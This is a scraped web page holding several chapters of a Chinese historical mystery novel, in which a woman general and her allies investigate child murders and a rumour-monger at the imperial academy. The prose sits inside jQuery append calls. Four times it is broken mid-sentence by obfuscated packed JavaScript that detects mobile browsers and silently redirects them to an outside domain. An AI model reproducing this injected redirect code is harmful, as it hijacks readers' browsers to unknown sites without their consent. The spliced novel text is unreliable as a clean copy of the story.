$(''#content'').append('' 异。 “陛下召你觐见所为何事？有人为难你了吗……”刘舞起像是憋了许久一般嘘寒问暖说个不停。 “比起这个，我更想知道图纸的事如何了？”应如是差点被她绕进去，及时打断了她的话。 刘舞起撇了撇嘴不说话，倒让应如是有些好奇二人之间发生了什么。 “那块腰牌确实是国子监的式样。” 沈清识的这句话让应如是忽然有种不祥的预感，要不是上次开府宴无意间看到沈清识的腰牌，恐怕现在还不知道背后捅刀子的是何人。 “可是我与国子监并无新仇旧怨，为何要设计害我？”应如是百思不得其解。 一时间车内极为安静，只有间或传来的隆隆雷声让人心惊肉跳。 “或许幕后之人只是想将国子监拉下水。”沈清识突然自言自语道，见二人皆是一脸困惑，便开始解释，“你们刚来京师，对朝中的势力还不了解，除了敌对的两党之外，也有不参与党派之争的，国子监算是一个。” “既然国子监中立，不应该设法拉拢吗？”应如是更加不解了。 “虽说是中立，但恐怕都被两边视作眼中钉了。”沈清识提及此事顿觉无比头痛，“这帮不知天高地厚的兔崽子进了国子监好好读书便是，非要妄议朝堂之事，虽说朝廷积弊已久，官员腐化严重，但也不是他们能评判的。若是荫生便也罢了，毕竟背后都是有家族倚仗的，偏偏不知死活的都是那些无权无势的监生，今日一篇论辩明嘲结党弄权，明天一首辞赋暗讽徇私舞弊。据说前不久还成立了一个‘清正会’，也不知以后要闯出多大的祸事……” “身为国子监的司业，沈大人不管束一下吗？”应如是调侃道。 平日里只有他欺负别人的份，哪里见过他这般满腹苦水的模样，倒是稀奇得很。谁知扭头一看，刘舞起笑得格外嚣张，颇有几分幸灾乐祸的意味。 “就算是祭酒大人也管不了这事。”沈清识只是一味地喟叹，“他们一不触犯律法，二没违反学规，如何责罚？” “这样看来，幕后之人想动国子监倒也合理。”应如是说道。 沈清识满脸愁怨地看了她一眼，算是默认了这个事实。 “既如此，想要找到造谣者并不难，只要对监生一一排查即可。”应如是说到此处停顿了一下，又补充道，“我觉得‘清正会’的成员可能性会更大。” 不知不觉，马车已到了将军府外。 下车前，应如是看向二人郑重地说：“不管幕后之人的目的是什么，为今之计只能见招拆招。陛下已经下令让我配合大理寺调查，恐怕短时间内无法洗脱嫌疑，你们二人皆是我信任之人，找出造谣者这件事便拜托你们了。” 刘舞起知晓此事非同寻常，一脸担忧：“你会不会有危险？” “如今证据不足，他们暂时还不敢对我怎样。”应如是宽慰她道，最后又看了一眼沈清识，似有千言万语却无从诉说。 沈清识已然心领神会，短短一句话便让应如是彻底放了心：“有我在。” 16. 第十六章 应如是目送着马车远去，直到消失在朦胧雨雾中才转身回府，没想到一进院便见到明心。 狂风暴雨中，他撑着一柄伞站着庭前，身上的衣衫早已湿透，显然已经等候许久。 心忽然颤动了一下，如一颗石子落入湖中，荡漾起圈圈涟漪。 应如是经过他身旁之时故意不去看他，只顾着往屋内走。 “景和帝召你进宫可是因为孩童被杀一事？”明心问道。 “你可真是手眼通天，什么事情都瞒不过你，这次又有何指教？”应如是自己都不明白为何这句话中含着一丝怨气，是怨他藏得太深，还是怪他每次都是这般自以为是的关心和帮助，不得而知。 她没有转身，二人就这样僵持了一会儿。 明心似是轻叹了一声，而后一反常态地说道：“原以为将军肚中海量，是个明达通透之人，没想到却也如寻常女子一般小肚鸡肠。” “你不必拿话激我。” “我自认为不是一个挟恩图报之人，将军于我而言是可得片刻安宁的安置所，皮之不存毛将焉附，我想帮助将军仅此而已。”明心像是豁出去一般，势要解开二人之间的死结，“若是将军嫌我碍眼，我无话可说，自请离去；若是担心我泄密，大可一刀杀了我，我也绝无怨言。” 应如是回过头，看着那人一袭青色长衫被寒风吹得四处翻飞，却依然笔直地站着，不为风雨所摧。 真是个执拗之人！应如是心中想着，话到嘴边不觉软了三分：“我已知晓你的心意，陛下疑我，我今日便要前往大理寺，你先回去吧，回头我差人给你送几件厚实的衣裳。” 明心又道：“将军可否告知已知的案情？” 应如是将目前已知所有线索全盘托出，便不再耽搁，匆匆换下朝服赶过去。 马车上，沈、刘二人同样也在僵持着。 刘舞起时不时朝他投去幽怨的目光。沈清识似是毫无所觉，淡定地坐在一旁饮茶。 最后还是刘舞起先败下阵来，问道：“沈大人，你我之间可有仇怨？” “并无。” “那为何今日诓我做出那般有失颜面之事？” 一想起今日之事，刘舞起银牙便要咬碎，想她威赫半生，何曾受过如此大辱？ 今日她火急火燎地赶往国子监，让门人传信于沈清识，谁料沈清识非但不迎接，还托人带口信说什么“国子监儒学圣地，女眷不得入内”。 为了完成应如是交代之事，她便忍下这口气了，再次传信说事关重大，务必请他屈尊一见。沈清识却说监内事务繁杂无法抽身，又提及侧门无人看守或可一入。 也是她惶急之下乱了心智，不及细想，见有一矮门大开，人可屈身而入，便理所当然地“爬”进去了。 门内杂草丛生，约半丈之高遮蔽视线，她不觉有异，只顾着一头往里钻，好在没多久豁然开朗，却见一众学子满脸惊讶，随后哄然大笑，而沈清识就在不远处说着气人的话：“本想着去侧门迎你，你怎么钻狗洞进来了？” “……” “这话从何说起？”相比她的恼羞成怒，沈清识倒是气定神闲，说的有理有据，“这狗洞是我让你钻的吗？你性子急可怨不得旁人。” “国子监何时有过女眷不得入内的规定？你是拿我当猴耍呢？”刘舞起质问道。 “我这也是为你好，你想想，你这般毫无顾忌地登门寻我，不出半日京中便会谣言四起，说这最佳夫婿榜榜首的梅骨公子与一女子牵扯不清。我倒是不在意这些，只怕你会成为全京城女眷的敌人。于是思来想去，便捏造了这个推辞。”沈清识一脸无辜地解释道。 “阴险小人，卑鄙无耻。”刘舞起忍不住腹诽。 “若是惹校尉不悦，那便是在下的不是，还请见谅。”沈清识也是个识趣之人，立马作揖赔罪道。 刘舞起不是个斤斤计较之人，见他态度诚恳，便不再为此小事置气：“无妨，当下最要紧的是将如是交代的事情办妥，其余都不重要。” “校尉胸襟之广，着实令在下佩服。”沈清识称赞完想了想还是问出了那个藏于心中许久的疑问，“恕在下冒昧问一句，先前开府宴上校尉提及‘梅骨’之时欲言又止，可是对在下的表字有何疑义？” “提起这个我确实有话想说，虽说我读书少、没见识，但感觉给你取表字的人也恁个没文化了。”刘舞起振振有词道，“这两个字单看没什么，但是组在一起简直不知所谓，梅花的骨头是何物？” “有没有一种可能，说的是梅花的风骨？”沈清识扶额叹道，“还有，你不是想知道表字是何人所起的吗？” “这人我也认识吗？” “正是你的好友应如是。” “……” 大理寺，掌管天下狱讼之事。 应如是不是第一次来这里，彼时她尚且年幼，好奇心重，每次母亲看望外祖父之时，总吵着要跟过去，实则是想进去玩。 大理寺布局规整，占地很广，除了处理公务的正厅、左右两厅及牢狱外，还有官员日常的住所。红墙碧瓦，楼阁相望，小桥流水，景色宜人。 幼时贪玩，常常流连此间，走着走着便迷了路，有几次不小心误入牢狱，瞧见狱中森冷刑具和看不出人样的犯人也不哭不闹，被找到之时，外祖父也不责骂，还满口夸赞：“不愧是我萧若竹的孙女，有胆识，将来未必不能继承我的衣钵。” “父亲，你和一个四岁孩子说这些作甚。”母亲说完转头看向自己眼神警告，“再乱跑以后就别跟来了。” 应如是端着茶杯陷入过往的回忆里无法自拔，眼眶渐渐湿热起来，好在杯中水汽升腾，没叫人看出端倪。 “应将军，这茶水可有不妥？”左少卿谢庭舒问道。 谢庭舒是我朝唯一女官，应如是对她也有所耳闻：她原是光昭府衙的一名推官，后因断案有功受到嘉奖，擢升为大理寺少卿。 “并无。”应如是终于缓过神来，将茶杯搁在案几上，“关于孩童被杀一案，本将军言尽于此，望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15161218|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大理寺早日彻查清楚，将凶手绳之以法。” “那是自然。应将军不惧流言，亲自前来接受调查，着实令下官钦佩，若有冒犯之处，还请见谅。下官已差人备好马车，这边请。”谢庭舒心想终于可以送走这尊大佛了，没想到应如是却又拿起茶杯，悠闲地喝起茶来。 “不急，本将军还有话想问。” 谢庭舒只好又坐下，笑问道：“应将军想知道什么？” “死者确定都是唱过童谣的孩童吗？” “先前已与江大人的名册核对过了，应是错不了。” “尸体上除了那一道伤痕，真就没有其它外伤吗？” “确实如此，尸体上并无挣扎或是束缚的痕迹。后来仵作在多名死者的口鼻中发现了棉线，证实凶手是将人迷晕之后动的手。” “现场可还有发现？” “那座神庙废弃已久，加上位置偏僻，别说是抛尸了，就算真在里面杀人也未必会被发现。”谢庭舒说到此处顿觉气愤，“下官带人前去勘察，没想到光昭府的人先至，现场成了菜市场，这帮误事的官员真该杀！” 应如是看了她一眼：这个女少卿与想象中的有些不一样，倒是个直肠子。 “这么多具尸体不可能一次性运到那里，像抛尸案的话，案发地一般不会离抛尸地太远，一来运送尸体不方便，二来路途越远风险越大。”应如是分析道，“若是不借助车马，以抛尸地为轴心，十里为径，大致可以圈出凶手作案地的范围。若在城外，这么多孩童出城，城门守卫定会留心，所以很大可能是在城中被杀的。” 谢庭舒一脸惊愕地听她说完，这次全无恭维，语气中满是敬佩：“应将军所言极是。下官已命人贴出悬赏告示，四处搜集案件相关线索。” “如此甚好。若有新发现，还望少卿大人及时告知。”应如是说完便出了大理寺。 应如是前脚刚走，薛茗后脚便来到正厅，开口便问：“如何？” “并无可疑之处。”谢庭舒回道。 “笑话！他三天两头出门，也不做什么，只在街上闲游，你就不觉得奇怪？”薛茗面上隐有怒气，“还是你藏了私心？” 谢庭舒垂着头，似有难言之隐：“下官不敢，只是……” “有话直说，支支吾吾的像什么样子！”薛茗斥责道。 谢庭舒不敢抬眼看他，一口气将话说完：“下官见应将军对案情条分缕析，一字一句直切要害，不由想起了前大理寺卿，故而生出几分亲近之意。” 只闻一声脆响，茶杯碎裂在地，滚烫的茶水四溢开来，蔓延到谢庭舒的脚边。正厅中气氛瞬间变得凝重起来，谢庭舒一动不动地站着，连呼吸都要小心翼翼的。 其实她早有耳闻，前大理寺卿萧若竹是薛大人心头的一根刺，没想到今日一见竟然到如此地步。 到底发生了什么事，让原本情同父子的师生二人彻底决裂，她不得而知，但是作为萧若竹的头号拥趸，谢庭舒觉得千错万错肯定不是萧大人的错。 17. 第十七章 应如是刚回到院中，明心便赶了过来，快得让她忍不住怀疑院中是不是被安插了眼线。 刚才还风雨飘摇的天，这会儿忽又放晴了，细碎的阳光洒在身上，令人心生惬意。 应如是毫不拘礼，自顾自地在藤椅上躺下，同时示意他在廊间坐下。 “孩童是迷晕后被杀的，官府已经贴出告示，相信不久便会有线索。”应如是简短地交代完后便闭目养神。 “我去神庙查看了一番，里面的痕迹很乱，几乎找不到有用的线索。”明心说道。 应如是心想：那是自然，连大理寺都查不了的现场，你能有多大的本事？ 然而，明心却接着说道：“但我发现了车辙印。凶手很谨慎，大部分车辙都被抹去了，只有藏在密草中的一小段没被发现，得以保留。” “能看出是何种车辆吗？”应如是问道。 “我已拓下图纸，遣人和京中常用的车辆轮子比对去了。”明心回答。 他虽然说得轻巧，但应如是知道这必是要费上一番功夫的，他如此帮自己，先前还无端揣测他的意图，应如是觉得有时候自己真不是个人。 “衣服可还合身？” 没来由的一句话，让问的人、听的人都有些始料未及—— 应如是暗骂自己：怎么将心里想的事说出来了？ 明心有些愣神：怎么忽然说到衣服上了？ 刘舞起从国子监回来后便立刻来找应如是，谁知一进院就撞见二人相视无言，气氛有些不寻常。 她故意咳了几声，走到二人之间，挡住了二人交汇的目光。 “总算是有希望了！”刘舞起说完后看了一眼明心，意思表达很明白：我们有要事相商，闲杂人等请回避。 明心很有眼力见，当下便要起身告辞，却被应如是的一句话制止了：“都是自己人，无妨。” 眼看着明心又乖乖地坐回去，刘舞起惊得眼珠子都掉出来了：这才离开半日时间，怎么一个个都像是变了一个人？ 有鬼，这其中必定有鬼！刘舞起心中正盘算着怎样才能迅速知道内情之时，应如是已经等不及了，问道：“造谣者找着了吗？” 刘舞起只得暂时放下心中的疑问，回道：“应该快了。” “详细说说。”应如是一脸想听故事的表情。 “在回到国子监之前，我和沈大人一直在想用什么方法能够找到此人。”刘舞起徐徐道来，“大张旗鼓找肯定不行，不仅会打草惊蛇，而且期间那人很可能找到机会逃脱；但若是暗中查访，又浪费时间，得不偿失。后来，我们想出了一个极好的对策。” “从造谣者本身考虑，他做这件事未必是出于本心，或是被人收买，或是受人威胁。既然如此，幕后之人定不会让他知道案件的相关事情，因为造谣者可能会心生畏惧，主动投案，再有甚者，会直接供出主谋，以求宽宥。”刘舞起分析得句句在理。 “这应该不是你想出来的吧！”应如是随口说了一句，在看到刘舞起犀利的眼神后，立马闭了嘴。 “既然他要造谣，我们何不以其人之道还治其人之身？”说到此处，她眉飞色舞，得意极了。 回想起在马车上听完沈清识的分析后，一个想法几乎立马在脑中成形。 “既然有人不想让他知道，那我们偏要让他知道。”她一说起来便滔滔不绝，“国子监里应该也有那种喜欢听人墙角、管不住嘴的监生吧？我们可以‘不经意’向他透露一些孩童被杀案的内情，然后一传十、十传百，不出三天，保证整个国子监的人都知道得明明白白。我们这些天只要留意那些行为举止有异之人，再逐个排查，便可找到造谣者。” 沈清识听完她的计策后，脸上流露出一丝赞赏之色：原以为她只是个不知礼数、头脑简单、空有武力的粗鄙丫头，没想到还是有点头脑的。 当然，他的这些心里话刘舞起自是不知道的，不然恐怕二人今日便要分出个你死我活。 “这一招‘敲山震虎’用得真妙！”应如是听完后也忍不住夸赞了一句，而后又嬉笑着问道，“只是，你什么时候与沈清识交好的？之前马车上不还对他不理不睬的吗？” “莫要取笑我，你和和尚的事我还没问呢！”刘舞起探身向前，极具压迫感地问道，“趁我不备，你们是不是勾搭在一块了？” 应如是顿觉哭笑不得：这个“勾搭”从何说起啊？ 回头一看，却发现明心早已不见了踪迹，心中更加无奈：这人怎的一到关键时候跑得比兔子还快？ “你给我好好说说，刚才为何与和尚眉来眼去的？” “凡事都要讲证据，你不要胡说，污我清白！” “我亲眼所见，你别想抵赖！” “……” 出了东院依稀还能听到二人的争吵声，明心暗自庆幸自己先一步离开，没有被卷入其中，没有意识到此刻的自己嘴角微微勾起，表情是罕见的轻松愉悦。 这一幕落在迎面而来的云川眼里，云川差点栽了个跟头。 无人知道，从他今日一反常态地去找应如是剖明心迹，一切开始变得不一样了。 官府的悬赏告示立竿见影，第二天便有了新线索。 应如是收到大理寺的传信后立马赶了过去，见谢庭舒领着几个官兵正要往西而去。 “应将军，我们边走边说。”谢庭舒示意她跟上。 “谢少卿，这是找到凶手了吗？”应如是问道。 “今早，一个卖糖画的商贩揭榜来到大理寺，自称曾经见过一个名叫晚晚的女孩的最后一面。”谢庭舒开始讲述事情的始末，“下官根据商贩所述，向晚晚的父亲核实，确认他所言非虚。” “他见到凶手了？”应如是又问。 谢庭舒没有给出肯定的回答，只是继续说道：“据商贩所说，当时晚晚想要糖画但是身无分文，一个中年男子主动替她付了钱，还说要带她去吃糖葫芦。商贩当时没放在心上，事后越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15162992|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想越觉得不对。” “确实，像极了诓骗孩童的人贩子。”应如是附和道。 “下官根据其口述的相貌特征，着人画了那人的肖像。”谢庭舒拿出画像递给她看。 应如是第一眼便觉得这人有些面熟，但又想不起来在哪里见过他。 “有人认出他是住在西市街口的书生冯晏。”谢庭舒在一户人家门前站定，“就是这里了。” 这是一个不大的宅院，朱漆木门有些陈旧，越过矮墙能看出里面有两间高低错落紧挨的屋舍，院中有一棵槐树，看着有些年头了，干枯嶙峋的枝丫几欲伸出墙外。 谢庭舒扣了几下门，等了许久都无人应，正要另寻他法，却见一个衣衫不整、蓬头垢面的男子打着哈欠走出来。 “谁啊，一大早的就扰人清静。”开门见到官兵后他立马恭敬起来，“不知官爷光临寒舍所为何事？” “你是冯晏？”谢庭舒问。 “正是在下。”冯晏拱手有礼道。 “那就搜吧。”谢庭舒一声令下，随从官兵鱼贯而入。 “你们这是做甚？”冯晏想要冲进去阻拦却被人架住了，于是大声嚷嚷道，“大家快来看看啊，官府欺压百姓，还有没有王法了？” “住口，有人指认你和一桩命案有牵连，若是再胡搅蛮缠，立马拿了你送进大狱。”谢庭舒威吓道。 官兵在屋内搜了一阵并没有搜出什么有用的东西，眼见着冯晏的神情逐渐放松下来，一直旁观的应如是却猝不及防地问道：“你将东西藏在哪儿了？” “什么东西？”冯晏下意识接过她的话，眼珠子也跟着转动了一下。 应如是慧眼如炬，迅速捕捉到了这个细微的动作，跟着他眼神飘过的方向，走到那棵槐树下面，绕树转了一圈。 冯晏明显紧张起来，眼睛直勾勾地看着应如是，气都不敢喘一下。 “看来就是这里了。”应如是对谢庭舒说。 青白的砖石从屋外一直铺到槐树下，每一块都严丝合缝，看着并无异样。唯有绕到槐树后面，在靠近墙角处的地方能看到有两三块错开了些许距离，显然是有人经常挪动所致。 “来人，给我搬。”谢庭舒发话。 不知为何，说话之时她的目光一直停留在应如是身上，带着一丝探究和不解。 “你和前大理寺卿萧若竹有何关系？”这个藏在心里的疑问终于还是问了出来。 应如是神色一滞，双手隐隐颤抖，一如她此刻难以平静的内心。 好在官兵将砖石挪开后有了重大发现，应如是装作没有听到一般，朝地里看去。 里面埋着一排陶瓮，大小一共六个，用粗布封得严严实实的。打开一看，只见瓮中装满了金银财物，还有一些珠钗首饰。 冯晏此刻已是彻底死心，低着头一言不发，神情低落得如同丧家之犬。 “所有东西一律带回大理寺。”谢庭舒意味深长地看了一眼应如是说道。 18. 第十八章 大理寺狱，是除了刑部大牢之外第二个让人闻风丧胆的地方。那里幽暗阴森，终日不见阳光，只有燃烧不尽的火盆和永不停歇的惨叫声。 传说那里只进不出，关押在内的犯人除非死了，否则终生都无法离开，世人称之为“鬼狱”。 冯晏是被拖着扔进去的，彼时他早已被吓晕过去，神智全无。 应如是没有随他们一起回大理寺，参与提审犯人，尽管谢庭舒极力相邀，但她还是推辞了— 一方面，谢庭舒有了疑心，不能再给她机会试探；另一方面，不管在不在场，大理寺定会审个清楚明白，给她一个交代。而且比起杀人凶手，她更关心国子监那边的进展。 沈、刘二人确实没让她失望，已经有了一个怀疑对象，当晚便要去对质，应如是自是要跟过去的。 听沈清识说，他们怀疑的这名监生名叫董维，是“清正会”的一员，年二十八，鸣州人氏，景和十五年以贡生身份考入国子监，距今已有八载有余。 据线人来报，此人听到流言后十分惊恐，不仅课上走神被学正罚了，翌日竟连衣服都里外穿反了…… “我已打听好，他现在一个人住在国子监附近的崇德坊。”沈清识说道。 景和年间，为了提升学生质量，国子监不仅限制学生数量，而且还以名次等级划分为内、外总计十个班。内班学生品学兼优，入住国子监的学舍之中，外班则要在外头赁房住。 二更三点，街上人潮退去，渐入安宁，三更便是宵禁的开始。 一个书生打扮的人背着行囊鬼鬼祟祟地出了坊间，朝着城门方向而去，没想到中途却撞上了一人。 这人着急赶路，也不看来人一眼，只道了一声歉后便急着要离去，谁想被撞之人却一直挡住他的去路。 这人终是无奈地抬头，本想质问几句，然而话到嘴边却生生咽了下去，脸色一下变得煞白：“司业大人。” 来人便是沈清识，而这个人就是监生蕫维。 应、刘二人从沈清识身后冒出来，二话不说，一人抬起一只胳膊直接将董维架了起来。 “你最好不要叫喊，不然我不介意将你打晕。”刘舞起笑着威胁道。 董维哪里见过这阵仗，当下便已抖得不成样子，连声音都发不出来，只能求助地看向沈清识。 沈清识语气温和地劝慰道：“你只要乖乖听话，我保证她们不会动手的。” 董维欲哭无泪，只能任由二人将自己带回去，屋门一关，叫天不应叫地不灵。 “大晚上的，蕫生要往哪里去啊？”沈清识问道，他端坐在堂前，应、刘二人像是护卫般立于左右，压迫感极强。 “家中老母突发恶疾，不及禀报便匆匆离去，还望司业大人见谅。”董维俯首言道。 “就算宵禁将至，也要连夜出城，倒是个孝子。”沈清识赞道。 董维一听，瞬间又燃起希望：“还请司业大人放学生离开。” 应、刘二人相视一眼，默契上前，从他手中抢过行囊并打开，只见两根金条掉了出来。 “不是不放你走，只是这钱财来路不明，你是如何得到的？”沈清识问道。 董维顿时慌了神，有些口不择言：“这都是旁人赠与我的。” “死到临头了还在嘴硬，真以为你做的那些蠢事本官一无所知吗？”沈清识一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187830|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呵斥令董维面无血色地瘫在地上，“你自己不知死活不打紧，别连累整个国子监陪你一起遭殃。” “大人，学生也是被逼无奈。”董维涕泗横流道。 因情绪过于激动，他本就不甚舒展的五官更加揉皱在一起，活像个胡桃，看着格外滑稽。 刘舞起立马扭过头去，强忍住笑意，却见沈清识不知好歹地朝这边看过来，立马赏了他一个白眼。 “你且细细说来，若有半句虚言，立马绑了你去大理寺。”沈清识说道。 应如是见他这样子怪可怜的，于是好心地将他扶起，还贴心地给他倒了一杯水，董维感激地看了她一眼后一口饮下。 刘舞起忽然邪恶地在他耳边说道：“他就是应将军。” 董维哀叫一声，跑到一旁开始扣嗓子眼，想将刚才喝下的水吐出来。 应如是一脸无奈地看向刘舞起，安慰他道：“水里没毒。” 见董维仍旧有些怀疑，应如是只好再次开口，神情极为认真：“我要是想报仇，绝不会是下毒这么简单，至少得大卸八块才行。” 董维被吓得面如土色，差点当场晕过去。 另一边，大理寺狱。在接受了几轮拷问后，冯晏终于交代了一切—— 瓮中的东西都是他偷来的，但对于杀人一事，他矢口否认。 提到晚晚，他只是说见这孩子可怜，便发了善心，给她买完糖葫芦后便回家了，之后发生了什么他全然不知。 谢庭舒虽然心中存疑，但并没有找到他杀人的直接罪证，再加上有街坊邻居作证，他平日里在街上卖些字画，城门守卫又对他全无印象，所以只能暂时将他以盗窃罪收监。 19. 第十九章 翌日清晨，应、刘二人才回到府中，虽然一夜未睡，但是收获甚丰。 明心那边也有了消息，他的人将京中人家各种带轮子车辆的辙印都拓了下来，共有百十张纸。应、刘到达西院之时，他正在一一比对。 京中人家惯常使用的车辆主要分为畜力车和人力车。畜力车有牛车、马车、骡车、羊车、驴车等，一般车辙宽而纹路多；人力车有独轮和多轮的，根据人数不同，又能分为一人和多人，一般车辙印窄而纹路少。不同类型的车辙差别很大，但相似的车辙也是不一而足。 二人二话不说自是参与其中，然而真正着手去做，才知此事的不易。 从神庙里拓出的车辙印浅短不说，上面还重合着不知何人留下的脚印，让本就难以辨认的痕迹更难看得分明。 刘舞起看了不到一炷香时间便长吁短叹，显然备受折磨，应如是便打发她去大理寺探听消息。 屋内只剩下应如是和明心，二人分坐于一桌两侧，谁都没有说话，期间仆从过来换了两次香，后又点上了蜡烛。 应如是完全不知道自己是何时睡去的，一天一夜没合眼的她终是抵不过浓浓的倦意，在某一瞬间忽然失去了意识。 明心只听“咚”的一声，某人的头便磕到了桌子上，正想着她会不会一脸尴尬地起身或是装作无事发生。谁料她竟毫无知觉，与此同时静谧的屋内响起一阵细微绵长的鼾声。 明心有些失笑地看着趴在桌上，像极了给自己磕头的应如是，忽然想起之前她在营帐中听到一点动静便警觉抽刀的画面，没想到还能看到她卸下防备的一面。 晚间忽然起了风，吹得屋内烛火晃动不安。应如是的位置正对着窗户，明心想了想还是起身去关了窗，转身之时不经意看到两行清泪从她的眼角流了下来，心里竟有些许刺痛感。 这些天，外面那些风风雨雨就算身居内院的他也有所耳闻，想必她过得极为不易。 早在崖底之时，便已知晓她的身份必不简单，到了京中，她所遇之人、所祭之坟，以及偶尔流露出的感伤和落寞，让她的身世变得更加扑朔迷离。 他并不清楚，到底是什么原因让一个女子甘愿舍弃容貌、隐藏性别，在战场上以命相博、换取名利。只是在她的身上，明心隐隐看到了曾经的自己：那个不愿屈服于命运，即使弱小无助也要奋力一搏的少年。 只是不知何时起，自己习惯了被这样对待，逐渐变得麻木，终是在众多红白之口中失去了反抗的力气，仿佛自己就是他们所说的那种人。 应如是还在噩梦中挣扎，昔年的记忆如同泥沼一般，让人深陷其中难以自拔。 仿佛回到了幼时父母皆在、家庭和睦美满的时候，那时父亲会抱着自己去摘海棠果，母亲就在树下笑得一脸温柔。 可转眼间一切都变了，他们开始冲突不断，父亲不再和颜悦色，看母亲的眼神逐渐变得厌烦、厌恶，而母亲的身体也是每况愈下，渐渐沉疴不起，曾经恩爱的夫妻终是走向陌路。 与此同时，父亲对待自己的态度也开始转变，他变得喜怒无常，动辄便是打骂罚跪。为了不让母亲担心，自己只能默默忍受。 母亲走的那天，依稀记得是一个晴天，一大早父亲难得心情不错，不仅陪着用了早膳，还大发慈悲允许自己出门。 出门前特地去看望了母亲，在院中还差点撞倒一个人，这人虽是一身侍女打扮但是看着面生，被撞了也不生气，还温柔地反问自己有没有撞疼。 芳华院鲜有生人出入，但当时一直在她身边伺候的侍女忽然不知所踪，想着许是新来的侍女，所以并未起疑。 母亲的气色看上去好了很多，竟然亲自到院中浇花。记得她生前最爱养些花草，院中摆满了各种绿植，都在她的精心照料下长势喜人，只可惜后来病重，连起身都难，只能委托旁人照拂，花草也死了不少。 “娘亲！”自己蹦蹦跳跳地扑了上去，抱着她的腰撒娇。 “今天怎么一大早就过来了？”母亲摸着自己的脑袋，一脸慈爱。 “今日爹爹许我出门玩。”粉嫩的小脸上满是开心。 母亲蹲下/身子，嘱咐道：“那阿棠可要在外好好玩，玩得尽兴再回来。” 这时，一个侍女端着一碗酥酪走过来：“夫人，这是老爷让人送来的。” 母亲看了一眼，并未说什么，只是吩咐侍女将东西搁在茶几上。 彼时年幼，和母亲交代后便迫不及待地想要出门，连她帮忙打理发髻都催促不已。母亲在门口目送自己很久都未曾离开，当时心里还在想她的身子刚有好转，可禁不住吹冷风，不料这却是生前的最后一面。 那天自己一直玩到天色暗了才归家，还买了不少新奇好玩的东西准备送给母亲，然而回到家中，听到的却是她的死讯。 她的身上仅有一块白布遮掩就被抬出院中，自己哭喊着上前想要看她一眼，却被父亲死死地抱在怀中：“别看了，让你娘安心地去吧。” 芳华院中芳华尽，连满院的花草都被清理得干干净净，置身其中，满目凄凉，逝者已去，生者犹悲。 应如是心痛得无以复加，忽的喊了一声“娘亲”，猛然从梦中惊醒，一睁眼便瞧见面前之人一脸错愕的神情。 “你……醒了。”明心不自在地后退了一步，手中的衣物拿着也不是，放下也不是。 “我竟然睡着了。”应如是说这话时感受到脸上的湿意，扭过头去迅速用手抹了一把。 明心装作没瞧见的样子回到原位，继续埋头比对图样。 “你很冷吗？”应如是见四周窗户紧闭，一点风都透不进来，他却又披上了一件大氅，不禁有些疑惑。 “天生体寒。”明心头也不抬地回道。 话音刚落，屋顶上传来一声响动，应如是拔刀便要上去，却被明心拦下了：“檐上老鼠而已，不劳将军出手，我自会料理。” 此刻栖于屋顶上的云川立马笑脸变哭脸：这下完了。 二人忙了一整夜，直到鸡鸣时分才将所有的拓印都对完。 找出相似的车辙共计五张，虽然难以辨别哪张更像，但令人欣慰的是，它们有一个共同点：都是人力推车。 “可是这依旧不能确定凶手的身份。”看了良久，应如是才不得不承认道。 线索到这里就断了，事情似乎陷入了僵局。 刘舞起刚好从外面走进来，先是说了冯晏的审讯结果，后又讲了对董维的处置方式。 明心在一旁安静地听着，无意介入她们的交谈，只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187831|164915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在最后的时候，他忽然插了一句：“这样看来，冯晏的嫌疑基本可以洗清了。” 刘舞起一脸疑惑：“我方才有说什么吗？” “如果有街坊邻居见证，他就没有作案的时间；家中也没有推车，若是出去赁，一个书生赁车定然引人注目；城门守卫也未见他出城，排除了他转移尸首的可能。”明心耐心地解释着，“但若是他买凶杀人就另当别论了，只是一介书生，和那些孩童又有多大的仇怨呢？” 应如是听完也赞同地点头，在这一点上他们算是想到一起去了，她不知道这个举动落在刘舞起眼中，却是另一层意思了。 